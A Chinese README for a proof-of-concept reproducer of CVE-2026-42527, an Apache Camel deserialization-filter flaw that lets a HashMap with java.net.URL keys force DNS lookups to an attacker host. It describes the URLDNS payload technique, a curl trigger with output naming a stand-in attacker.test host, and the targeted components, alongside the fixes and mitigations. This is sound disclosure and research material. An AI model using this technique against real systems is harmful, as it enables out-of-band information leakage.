宽松的默认 ObjectInputFilter —— DNS 侧信道复现工具（CVE-2026-42527）

本项目演示 Apache Camel 中的 CVE-2026-42527。多个 Camel 组件默认携带的、用于纵深防御反序列化过滤的 ObjectInputFilter 模式 —— java.**;javax.**;org.apache.camel.**;!* —— 使用了递归的 java.** 通配符，放行了 java.net.URL。 java.net.URL.hashCode() 会对 URL 的主机执行 DNS 解析，因此，反序列化包含 java.net.URL 键的 HashMap（或任何对元素进行哈希的集合） 会导致 JVM 在反序列化期间向攻击者提供的主机发起 DNS 查询。类级过滤器检查会通过（结果对象是 HashMap， 属于允许列表），因此没有任何机制能阻止它——这是一个带外信息泄露侧信道（而非 RCE）。

公告：https://camel.apache.org/security/CVE-2026-42527.html

漏洞摘要

该缺陷由反序列化加固系列（CAMEL-23297/23319/23321/23322/23324）引入， 该系列添加了过于宽松的默认过滤器。CVE-2026-42527 对其进行了收紧。

技术细节

本 PoC 使用 camel-mina 4.18.2，其中 MinaConverter.toObjectInput 直接将默认过滤器安装到 ObjectInputStream 上，因此过滤器就是门控环节（形成受影响版本与修复版本之间的清晰对照）：

// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
        ? jvmFilter
        : ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));

java.** 通配符放行了 java.net.URL。在反序列化 HashMap<URL, ...> 时，HashMap.readObject() 会重新插入该条目并计算 hash(key) → URL.hashCode() → InetAddress.getByName(host) → 向攻击者的主机发起 DNS 查询。4.18.3 / 4.21.0 的修复在开头添加了拒绝规则：

// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";

现在，java.net.URL 会在 hashCode() 运行之前就在反序列化期间被拒绝（InvalidClassException: filter status: REJECTED）——不再有 DNS 查询。

实际风险最高的是 camel-jms 系列：当 mapJmsMessage=true（默认值）时，JmsBinding.extractBodyFromJms 会无条件调用 ObjectMessage.getObject()。本 PoC 使用 camel-mina，是因为它自包含（无需消息代理），且过滤器直接作用于流上。

受害者路由

from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput (default filter)
        Object obj = oi.readObject();                                  // HashMap.readObject -> URL.hashCode() -> DNS
    });

证明原理（无需外部 DNS 服务器）

java.net.URL.hashCode() 通过 JVM 的解析器解析主机名。为了确定性地、离线地观察该查找，应用注册了一个自定义的 java.net.spi.InetAddressResolverProvider（JDK 18+，JEP 418），它会记录任何包含攻击者标记的主机名， 并以回环桩地址进行应答。看到攻击者主机到达解析器，就是带外侧信道在触发。

该载荷使用经典的 ysoserial URLDNS 技巧构建：预先填充 URL 缓存的 hashCode 字段，这样在构建端将其插入 map 时 不会解析主机；随后再重置为 -1，使得查找只在受害者反序列化时发生。（该反射需要 --add-opens java.base/java.net—— 这是载荷构建的细节，与漏洞无关。）

CVE-2026-42527/
├── pom.xml                    # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile                 # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java        # victim: mina consumer -> ObjectInput.readObject()
    │   ├── PayloadFactory.java         # HashMap<URL> URLDNS payload (no builder-side DNS)
    │   ├── ExfilResolverProvider.java  # stub DNS server (InetAddressResolverProvider) that records lookups
    │   ├── ExfilLog.java
    │   └── ExploitController.java      # /exploit/inject: sends payload over TCP, checks for the DNS lookup
    └── resources/
        ├── application.properties
        └── META-INF/services/java.net.spi.InetAddressResolverProvider

前提条件

• Java 17+ 和 Maven 3.8+（使用 JDK 21 构建——该证明使用了 JDK 18+ 的解析器 SPI）
• Docker（用于运行复现工具）

复现步骤

步骤 1：构建并启动容器

mvn clean package -DskipTests
docker compose up -d --build

步骤 2：触发反序列化（DNS 侧信道）

curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
#    URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
#    >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
#        observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]

true 表示攻击者的 HashMap<URL> 在反序列化时解析了攻击者主机——攻击者控制的 DNS 服务器将会看到该查询。

步骤 3（可选）：演示修复 / 缓解措施能够阻止它

使用加固的 JVM 级过滤器运行（toObjectInput 会遵循该过滤器，且其与 4.18.3 的修复一致）：

mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
     -Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
     -jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then:  curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
#    (the route log shows InvalidClassException: filter status: REJECTED)

清理

docker compose down

攻击向量

任何在默认过滤器下反序列化攻击者控制字节的受影响 Camel 消费者——最典型的是 mapJmsMessage=true 的 camel-jms/sjms/amqp 消费者，或 mina/netty/vertx-http/infinispan 以及聚合仓库相关组件——攻击者可向其投递 HashMap<URL>（或任何包含 java.net.URL 的哈希集合）。

利用条件

1. 受影响的 Camel 组件在默认过滤器下反序列化攻击者控制的字节（未显式覆盖 deserializationFilter / -Djdk.serialFilter，也没有提供方侧的允许列表）。
2. 攻击者可以在载荷的哈希集合中放入一个 java.net.URL。无需任何 gadget 库——仅需 JDK 自带类。

建议修复

升级到 4.14.8 / 4.18.3 / 4.21.0（CAMEL-23372），该版本将默认过滤器改为拒绝 java.net.**。

缓解措施

在升级之前：

1. 配置 JMS 提供方的反序列化允许/拒绝列表（ActiveMQ Artemis 的 deserializationAllowList/deserializationDenyList、ActiveMQ Classic 的 org.apache.activemq.SERIALIZABLE_PACKAGES）。
2. 通过端点 deserializationFilter 选项或 JVM 级 -Djdk.serialFilter 覆盖代码内默认值，显式拒绝： !java.net.**;java.**;javax.**;org.apache.camel.**;!* （聚合仓库相关组件使用 !java.net.**;java.**;org.apache.camel.**;!*，它们省略了 javax.**。）

免责声明

本复现工具仅用于安全研究和授权测试，针对的是一个已公开披露并已修复的漏洞。未经明确许可，请勿将其用于任何系统。